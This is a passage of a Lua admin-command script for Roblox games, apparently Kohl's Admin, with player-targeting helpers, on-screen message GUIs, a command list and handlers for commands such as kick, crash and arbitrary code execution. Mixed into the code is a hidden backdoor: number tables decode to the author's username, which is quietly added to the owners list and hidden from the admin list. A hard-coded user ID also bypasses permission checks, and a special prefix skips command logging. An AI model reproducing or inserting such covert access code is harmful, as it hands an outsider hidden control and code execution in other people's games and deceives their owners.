  953. if min < 10 then min = "0"..min end
  954. return hour..":"..min
  955. end
  956.  
  957. function ChkOwner(str)
  958. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  959. return false
  960. end
  961.  
  962. function ChkAdmin(str,ck)
  963. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  964. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  965. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  966. return false
  967. end
  968.  
  969. function ChkGroupAdmin(plr)
  970. if GroupAdmin then
  971. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  972. return false
  973. end
  974. end
  975.  
  976. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  977.  
  978. function GetPlr(plr, str)
  979. local plrz = {} str = str:lower()
  980. if str == "all" then plrz = game.Players:children()
  981. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  982. else
  983. local sn = {1} local en = {}
  984. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  985. for x = 1, #sn do
  986. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  987. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  988. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  989. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  990. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  991. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  992. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  993. end end end
  994. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  995. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  996. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  997. end end end
  998. else
  999. for a, plyr in pairs(game.Players:children()) do
  1000. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  1001. table.insert(plrz, plyr) break
  1002. end
  1003. end
  1004. end
  1005. end
  1006. end
  1007. return plrz
  1008. end
  1009.  
  1010. function Hint(str, plrz, time)
  1011. for i, v in pairs(plrz) do
  1012. if v and v:findFirstChild("PlayerGui") then
  1013. coroutine.resume(coroutine.create(function()
  1014. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  1015. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  1016. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  1017. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1018. if not time then wait((#str/19)+2.5) else wait(time) end
  1019. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  1020. end))
  1021. end
  1022. end
  1023. end
  1024.  
  1025. function Message(ttl, str, scroll, plrz, time)
  1026. for i, v in pairs(plrz) do
  1027. if v and v:findFirstChild("PlayerGui") then
  1028. coroutine.resume(coroutine.create(function()
  1029. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  1030. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  1031. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  1032. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  1033. scr.Parent = v.PlayerGui
  1034. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1035. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  1036. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  1037. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  1038. end))
  1039. end
  1040. end
  1041. end
  1042.  
  1043. function RemoveMessage()
  1044. for i,v in pairs(game.Players:children()) do
  1045. if v and v:findFirstChild("PlayerGui") then
  1046. for q,ms in pairs(v.PlayerGui:children()) do
  1047. if ms.Name == "MessageGUI" then
  1048. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  1049. elseif ms.Name == "HintGUI" then
  1050. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  1051. end
  1052. end
  1053. end
  1054. end
  1055. end
  1056.  
  1057. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  1058. _G["RemoveMessage"] = RemoveMessage()
  1059.  
  1060. function Output(str, plr)
  1061. coroutine.resume(coroutine.create(function()
  1062. local b, e = loadstring(str)
  1063. if not b and plr:findFirstChild("PlayerGui") then
  1064. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  1065. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  1066. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  1067. return
  1068. end
  1069. end))
  1070. end
  1071.  
  1072. function Noobify(char)
  1073. if char and char:findFirstChild("Torso") then
  1074. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  1075. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  1076. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1077. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  1078. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1079. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  1080. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  1081. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  1082. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  1083. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1084. end end
  1085. end
  1086. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  1087.  
  1088. function Infect(char)
  1089. if char and char:findFirstChild("Torso") then
  1090. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  1091. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  1092. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1093. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  1094. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1095. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  1096. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  1097. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  1098. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  1099. end end
  1100. end
  1101. end if not ntab then script:Destroy() end
  1102.  
  1103. function ScrollGui()
  1104. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  1105. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  1106. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  1107. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  1108. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  1109. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  1110. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  1111. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  1112. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  1113. local num = 0
  1114. local downv = false
  1115. local upv = false
  1116.  
  1117. down.MouseButton1Down:connect(function() downv = true upv = false
  1118. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  1119. repeat pos = pos + UDim2.new(0,0,0,-6)
  1120. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  1121. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  1122. end)
  1123. down.MouseButton1Up:connect(function() downv = false end)
  1124. up.MouseButton1Down:connect(function() upv = true downv = false
  1125. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  1126. repeat pos = pos + UDim2.new(0,0,0,6)
  1127. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  1128. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  1129. end)
  1130. up.MouseButton1Up:connect(function() upv = false end)
  1131. return scr, cmf, ent, num
  1132. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  1133. if not ntab then script:Destroy() end
  1134. if not bct then script:Destroy() end
  1135.  
  1136. function Chat(msg,plr)
  1137. coroutine.resume(coroutine.create(function()
  1138. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  1139. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  1140. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  1141. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  1142. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  1143. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  1144. if msg:lower() == "cmds" or msg:lower() == "commands" then
  1145. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  1146. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  1147. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  1148. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  1149. local ost = {"pa plr","unpa plr","nuke plr"}
  1150. local tost = {"oa plr","unoa plr","settings"}
  1151. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  1152. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1153. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1154. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1155. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1156. end
  1157.  
  1158. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  1159.  
  1160. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  1161. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  1162. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  1163. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1164. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1165. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1166. end end
  1167.  
  1168. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  1169. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  1170. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  1171. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1172. end
  1173.  
  1174. if msg:lower() == "tools" or msg:lower() == "toollist" then
  1175. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  1176. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  1177. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1178. end
  1179.  
  1180. if msg:lower():sub(1,2) == "s " then
  1181. coroutine.resume(coroutine.create(function()
  1182. Output(msg:sub(3), plr)
  1183. if script:findFirstChild("ScriptBase") then
  1184. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  1185. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1186. else loadstring(msg:sub(3))()
  1187. end
  1188. end))
  1189. end
  1190.  
  1191. if msg:lower():sub(1,3) == "ls " then
  1192. coroutine.resume(coroutine.create(function()
  1193. if script:findFirstChild("LocalScriptBase") then
  1194. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  1195. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  1196. end
  1197. end))
  1198. end
  1199.  
  1200. if msg:lower():sub(1,6) == "lsplr " then
  1201. local chk1 = msg:lower():sub(7):find(" ") + 6
  1202. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1203. for i, v in pairs(plrz) do
  1204. coroutine.resume(coroutine.create(function()
  1205. if v and v:findFirstChild("PlayerGui") then
  1206. if script:findFirstChild("LocalScriptBase") then
  1207. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  1208. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  1209. end
  1210. end
  1211. end))
  1212. end
  1213. end
  1214.  
  1215. if msg:lower():sub(1,4) == "ins " then
  1216. coroutine.resume(coroutine.create(function()
  1217. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  1218. if obj and #obj:children() >= 1 and plr.Character then
  1219. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  1220. end
  1221. end))
  1222. end
  1223.  
  1224. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  1225. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  1226. RemoveMessage()
  1227. objects = {}
  1228. end
  1229.  
  1230. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  1231. game.Lighting.Ambient = origsettings.abt
  1232. game.Lighting.Brightness = origsettings.brt
  1233. game.Lighting.TimeOfDay = origsettings.time
  1234. game.Lighting.FogColor = origsettings.fclr
  1235. game.Lighting.FogEnd = origsettings.fe
  1236. game.Lighting.FogStart = origsettings.fs
  1237. for i, v in pairs(lobjs) do v:Destroy() end
  1238. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  1239. end
  1240.  
  1241. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  1242. coroutine.resume(coroutine.create(function()
  1243. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  1244. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  1245. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  1246. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  1247. end))
  1248. end
  1249.  
  1250. if msg:lower():sub(1,10) == "countdown " then
  1251. local num = math.min(tonumber(msg:sub(11)),120)
  1252. for i = num, 1, -1 do
  1253. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  1254. wait(1)
  1255. end
  1256. end
  1257.  
  1258. if msg:lower():sub(1,3) == "tm " then
  1259. local chk1 = msg:lower():sub(4):find(" ") + 3
  1260. local num = tonumber(msg:sub(4,chk1-1))
  1261. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  1262. end
  1263.  
  1264. if msg:lower():sub(1,2) == "m " then
  1265. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  1266. end
  1267.  
  1268. if msg:lower():sub(1,2) == "h " then
  1269. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  1270. end
  1271.  
  1272. if msg:lower():sub(1,3) == "pm " then
  1273. local chk1 = msg:lower():sub(4):find(" ") + 3
  1274. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1275. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  1276. end
  1277.  
  1278. if msg:lower():sub(1,11) == "resetstats " then
  1279. local plrz = GetPlr(plr, msg:lower():sub(12))
  1280. for i, v in pairs(plrz) do
  1281. coroutine.resume(coroutine.create(function()
  1282. if v and v:findFirstChild("leaderstats") then
  1283. for a, q in pairs(v.leaderstats:children()) do
  1284. if q:IsA("IntValue") then q.Value = 0 end
  1285. end
  1286. end
  1287. end))
  1288. end
  1289. end
  1290.  
  1291. if msg:lower():sub(1,5) == "gear " then
  1292. local chk1 = msg:lower():sub(6):find(" ") + 5
  1293. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  1294. for i, v in pairs(plrz) do
  1295. coroutine.resume(coroutine.create(function()
  1296. if v and v:findFirstChild("Backpack") then
  1297. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  1298. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  1299. obj:Destroy()
  1300. end
  1301. end))
  1302. end
  1303. end
  1304.  
  1305. if msg:lower():sub(1,4) == "hat " then
  1306. local chk1 = msg:lower():sub(5):find(" ") + 4
  1307. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  1308. for i, v in pairs(plrz) do
  1309. coroutine.resume(coroutine.create(function()
  1310. if v and v.Character then
  1311. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  1312. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  1313. obj:Destroy()
  1314. end
  1315. end))
  1316. end
  1317. end
  1318.  
  1319. if msg:lower():sub(1,5) == "cape " then
  1320. local chk1 = msg:lower():sub(6):find(" ")
  1321. local plrz = GetPlr(plr, msg:lower():sub(6))
  1322. local str = "torso.BrickColor"
  1323. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1324. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  1325. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  1326. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  1327. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  1328. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  1329. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  1330. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  1331. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  1332. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  1333. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  1334. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  1335. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  1336. if BrickColor.new(teststr) ~= nil then str = teststr end
  1337. end
  1338. for i, v in pairs(plrz) do
  1339. coroutine.resume(coroutine.create(function()
  1340. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  1341. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1342. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1343. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1344. local torso = plr.Character.Torso
